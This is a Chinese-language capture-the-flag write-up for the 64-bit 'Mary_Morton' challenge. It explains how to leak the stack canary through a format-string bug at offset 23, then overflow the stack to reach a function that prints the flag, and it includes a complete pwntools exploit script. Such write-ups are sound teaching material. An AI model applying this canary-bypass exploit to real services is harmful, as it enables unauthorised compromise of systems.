前言:
前文繞canary防護1中程序時32位的,這篇文章中pwn的程序是64位的,都是利用格式化字符串漏洞leak canary的值,然後直接棧溢出即可,只是位數不同,利用格式化字符串漏洞泄露金絲雀值也略微不同。
題目:Mary_Morton-攻防世界
檢查軟件的詳細信息:
64的金絲雀與NX,拖入IDA64查看:
當輸入等於2時存在格式化字符串漏洞:
當輸入等於3時exit(0),等於1時存在棧溢出漏洞:
那麼基本思路是使用格式化字符串漏洞leak金絲雀的值,此處存在一個64位相對於32的坑,衆所周知64的函數傳參是前六個存在RID等六個寄存器中,從第七個開始入棧,所以在利用格式化字符串漏洞是會有六個偏移。獲取到金絲雀的值後利用棧溢出漏洞即可,同時程序中存在cat flag的system函數。
可以看到格式化字符串漏斗的函數內canary的位置位rbp - 8。
下面查看canary的格式化字符offset,使用調試工具進行動態調試,找到canary的位置:
格式化字符串偏移爲17 + 6 = 23,那麼輸入%23&p即可泄露處canary的值,此處也有一個小坑,32bit的使用&x即可,而64bit的不允許&x,只能使用&llx或&p。具體payload構造如下:
from pwn import *
context.log_level = "debug"
#p = remote('111.198.29.45',51801)
p = process('./Mary_Morton')
p.recvuntil('3. Exit the battle \n')
p.sendline('2')
#p.sendlineafter('3. Exit the battle \n','2')
payload = '%23$p'
p.sendline(payload)
#sleep(0.5)
canary_addr = int(p.recv(18),16)
#print canary_addr
#print int(canary_addr)
flag_addr = 0x4008DA
#p.sendlineafter('3. Exit the battle \n','1')
p.recvuntil('3. Exit the battle \n')
p.sendline('1')
payload = 'A' * 136 + p64(canary_addr) + 'A' * 8 + p64(flag_addr)
p.sendline(payload)
p.interactive()
腳本運行結果如下:
總結:
- 64bit程序中利用格式化字符串漏洞需要多偏移6內存單元。
- 格式化字符串漏洞使用&p或llx泄露。
- 注意sendline()中的字符,此程序中多了一個空格加\n,一般空格可以直接看出,但是\n要注意。
- 後續直接獲取shell。